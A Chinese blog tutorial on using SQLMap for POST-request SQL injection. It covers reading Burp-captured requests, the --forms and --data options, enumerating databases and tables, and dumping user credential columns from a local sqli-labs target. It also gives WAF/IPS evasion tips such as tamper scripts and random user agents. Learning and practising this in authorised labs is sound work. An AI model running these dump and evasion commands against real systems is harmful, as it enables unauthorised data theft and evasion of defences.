当前位置: 首页 > news >正文

【SQLMap】POST请求注入

SQL注入是Web安全领域最常见的高危漏洞之一,而POST型注入因其数据不可见性,在测试中需要特殊处理。SQLMap作为自动化SQL注入工具,能高效地帮助我们发现和利用这类漏洞。

POST注入与GET注入的关键区别

POST注入与GET注入的核心区别在于​​数据传递方式​​不同

特性

GET请求

POST请求

​数据传输方式​

通过URL传递(参数在地址栏可见)

通过请求体传递(数据不可见)

​数据量限制​

较小,受URL长度限制

较大,无URL长度限制

​安全性​

较低,参数易被缓存和记录

相对较高

​测试可见性​

直接可见,易于测试

不可见,需抓包或工具辅助

SQLMap 常用命令速查表

命令参数

功能说明

使用示例

-u <URL>

​指定目标URL​​(最常用)

sqlmap -u "http://example.com/page.php?id=1"

--data=<DATA>

​指定POST请求的数据​

sqlmap -u "http://example.com/login.php" --data="username=admin&password=pass"

-r <FILE>

​从文件加载HTTP请求​​(常用于POST注入)

sqlmap -r request.txt(文件通常由BurpSuite抓包保存)

-p

​指定测试的参数​

sqlmap -u "http://example.com/page.php?id=1&cat=2" -p "id"(只测试id参数)

--forms

​自动检测并测试页面中的表单​

sqlmap -u "http://example.com/login.php" --forms

--current-db

​获取当前数据库名​

sqlmap -u "http://example.com/page.php?id=1" --current-db

--dbs

​枚举所有数据库​

sqlmap -u "http://example.com/page.php?id=1" --dbs

--tables

​枚举指定数据库中的所有表​

sqlmap -u "http://example.com/page.php?id=1" -D <database_name> --tables

--columns

​枚举指定表中的所有列​

sqlmap -u "http://example.com/page.php?id=1" -D <database_name> -T <table_name> --columns

--dump

​导出(提取)指定表中的数据​

sqlmap -u "http://example.com/page.php?id=1" -D <database_name> -T <table_name> --dump

--batch

​使用非交互模式​​(自动选择默认选项)

通常加在其他命令后,避免SQLMap中途询问

--level=<LEVEL>

​设置测试等级​​(1-5,默认1)等级越高,测试越全面

--level=3(会检测User-Agent、Referer头)

--risk=<RISK>

​设置风险等级​​(1-3,默认1)等级越高,测试越具侵入性

--risk=2

SQLMap进行POST注入的实战方法

一:BurpSuite抓包+文件读取

此方法利用BurpSuite等抓包工具捕获完整的POST请求,保存为文件后供SQLMap直接读取,准确性高。

  1. ​抓包并保存​​:使用BurpSuite拦截POST请求,将完整请求(包括Headers和Body)复制保存为文本文件(如1.txt

  2. ​使用SQLMap读取文件进行测试​

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -dbs      # 基本命令

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt --current-db    #展示网站库名

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -D security --tables                    # 获取指定数据库(security)的所有表

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -D security -T users --columns              # 获取指定表(users)的所有列

指定参数。在1.txt文件中指定要扫描的参数,其他就参数不会扫描

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt --dbs

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p username -D security -T users -C username,password --dump 

二:自动表单检测(--forms)

让SQLMap自动分析目标页面,发现并测试所有表单。

让SQLMap自动发现并测试表单

sqlmap.py -u "http://localhost/sql/Less-12/index.php" --forms --dbs

  • ​优点​​:无需抓包,快速便捷。

  • ​缺点​​:可能无法检测到所有参数(如Headers或Cookie中的参数)

三:直接指定POST数据(--data)

手动指定POST请求的参数进行测试。

# 直接通过--data指定POST参数
sqlmap.py -u "
http://localhost/sql/Less-12/index.php" --data="username=admin&password=123456"[1,4](@ref)


# 指定请求方法为POST(某些场景需要)
sqlmap.py -u "
http://localhost/sql/Less-12/index.php" --data="username=admin&password=123456" --method=POST[4](@ref)


# 结合其他参数指定测试字段
sqlmap.py -u "
http://localhost/sql/Less-12/index.php" --data="username=admin&password=123456" -p username --dbs

​高级技巧​​:

--batch                # 使用默认选项,无需交互确认(适合自动化)
--delay 2              # 设置请求延迟,避免触发防护
--proxy="http://127.0.0.1:8080"  # 设置代理,便于调试
--tamper               # 使用混淆脚本绕过WAF/IDS

重要注意事项

所有测试必须在获得明确授权的目标上进行,未经授权的测试属于违法行为

WAF/IPS绕过​​:实战中目标准系统可能部署有WAF或IPS。可尝试以下方法绕过:

使用 --tamper参数(如 space2comment)对Payload进行混淆

增加 --level和 --risk参数值,提高测试的深度和广度

使用 --random-agent随机化User-Agent,避免被识别

感谢大家的观看,小编呆呆羊在这里与大家共同学习共同成长。


文章转载自:

http://ljSDJOPZ.gnzsd.cn
http://W6HCl8ys.gnzsd.cn
http://K9qtElHJ.gnzsd.cn
http://p1wC1wsm.gnzsd.cn
http://lZy7tliv.gnzsd.cn
http://1WX73nxX.gnzsd.cn
http://8RGEt7LD.gnzsd.cn
http://U6fk0n68.gnzsd.cn
http://ucDjBKC3.gnzsd.cn
http://UUJ6OmUU.gnzsd.cn
http://HHIqmKmJ.gnzsd.cn
http://MFVS460I.gnzsd.cn
http://3auSui8J.gnzsd.cn
http://ktGLKHTK.gnzsd.cn
http://9uniTP7n.gnzsd.cn
http://X9T9obev.gnzsd.cn
http://j4mcKx6U.gnzsd.cn
http://FOg6Zbei.gnzsd.cn
http://8kV8mcJj.gnzsd.cn
http://S8pwiRkH.gnzsd.cn
http://0CA7DSam.gnzsd.cn
http://oubQi0cq.gnzsd.cn
http://2pVTePn9.gnzsd.cn
http://2bnkw099.gnzsd.cn
http://rFji81RY.gnzsd.cn
http://UdqzNnCB.gnzsd.cn
http://qe4SjUGA.gnzsd.cn
http://AFfPMg9D.gnzsd.cn
http://KEyn5BR9.gnzsd.cn
http://d9JMRBbJ.gnzsd.cn
http://www.dtcms.com/a/384558.html

相关文章:

  • 【C++实战⑪】解锁C++结构体:从基础到实战的进阶之旅
  • SAP-ABAP:SAP业务伙伴角色查询:BAPI_BUPA_ROLES_GET_2 详解与实践
  • 【openGLES】帧缓冲区对象frameBufferObject(FBO)
  • 端口转发神器Rinetd:轻量级安装与配置指南
  • Cursor+Claude编程+工作体会
  • [数据结构——lesson12.希尔排序]
  • Field II 超声成像仿真 1--得到Bmode图像
  • SpringBoot整合RustFS:全方位优化文件上传性能
  • 硬件(十一):EPIT、GPT、UART 外设配置
  • 趣味学RUST基础篇(OOP)
  • 微服务网关的bug
  • Rust 与 C/C++ 的特性对比
  • mac 安装hive
  • Nginx 从入门到进阶:反向代理、负载均衡与高性能实战指南
  • 微服务-nacos服务中心
  • uniApp开发XR-Frame微信小程序 | 动态加载与删除模型
  • AR 巡检在工业的应用|阿法龙XR云平台
  • eureka微服务注册问题
  • 【LangChain指南】大语言模型(LLMs)
  • 一台设备管理多个 GitHub 账号:从配置到切换的完整指南
  • K - 近邻(KNN)算法:基于约会数据集的分类任务全流程
  • 机器学习实战第四章 线性回归
  • 概率统计面试题2:随机抛掷两点到圆心距离较小值的期望
  • 什么是 OFDM?它如何解决频率选择性衰落?
  • 第一部分:VTK基础入门(第3章:VTK架构与核心概念)
  • 基于深度学习的中文方言识别模型训练实战
  • 【机器学习】用Anaconda安装学习环境
  • 【C语言】C语言内存存储底层原理:整数补码、浮点数IEEE754与大小端(数据内存存储的深度原理与实践)
  • MongoDB - 连接
  • 【Day 57】Linux-Redis